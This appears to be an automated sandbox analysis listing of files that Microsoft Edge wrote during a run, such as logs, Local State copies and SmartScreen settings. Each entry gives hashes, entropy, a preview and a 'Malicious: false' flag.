SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.167463503996422
Encrypted:	false
SSDEEP:	6:HGrf6Mq2PN723oH+TcwtfrzAdIFUt8YGrfVFZZmw+YGrf+nFkwON723oH+Tcwtfa:xMvVaYeb9FUt8LX/+AnF5OaYeb2J
MD5:	DCACD967AE1DD13CBF37CB748E46297E
SHA1:	7146658C50F5ED21B881EC8AE2DC4669B07FC746
SHA-256:	1A7DF648F2CD44F952F9A6927407B67B307A621B4CEE0BC0A74ADB242C7D6EF9
SHA-512:	7D96DAA0AA4806D0A33C9FAE8BADF09552186E603BAEC42174B6B82C116BDC9756047CCE961A0DB8A66606530466DAB9955B1DA9A3B63FCF4417F29A26BC4092
Malicious:	false
Preview:	2024/11/23-13:52:42.470 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-13:52:42.466 aa0 Recovering log #3.2024/11/23-13:52:42.467 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	343
Entropy (8bit):	5.167463503996422
Encrypted:	false
SSDEEP:	6:HGrf6Mq2PN723oH+TcwtfrzAdIFUt8YGrfVFZZmw+YGrf+nFkwON723oH+Tcwtfa:xMvVaYeb9FUt8LX/+AnF5OaYeb2J
MD5:	DCACD967AE1DD13CBF37CB748E46297E
SHA1:	7146658C50F5ED21B881EC8AE2DC4669B07FC746
SHA-256:	1A7DF648F2CD44F952F9A6927407B67B307A621B4CEE0BC0A74ADB242C7D6EF9
SHA-512:	7D96DAA0AA4806D0A33C9FAE8BADF09552186E603BAEC42174B6B82C116BDC9756047CCE961A0DB8A66606530466DAB9955B1DA9A3B63FCF4417F29A26BC4092
Malicious:	false
Preview:	2024/11/23-13:52:42.470 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-13:52:42.466 aa0 Recovering log #3.2024/11/23-13:52:42.467 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ca56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ca65.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ceda.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f51f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44dde.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4dee3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF54108.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786615647244
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/di1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn5RkzItSmd6qE7lFoC
MD5:	C6BA644C3824F49A99E3AC71EBE5AD30
SHA1:	6DCDFB1DFFF7C59A22EC4D62628B1657F7BBE749
SHA-256:	2707C196DA0FD78BCC95D199AB5E92C5AD1DCBE3FCFA2585AC770919970EF7F5
SHA-512:	131123FF2BE98BF9D42D45C55C554025A1A7123CBF63C54ABDD6CAFF9AC94CA5D4C0FB9260406812F48E323522CF3E6B1DDF35E0D9E6BD77C48D352582282C41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

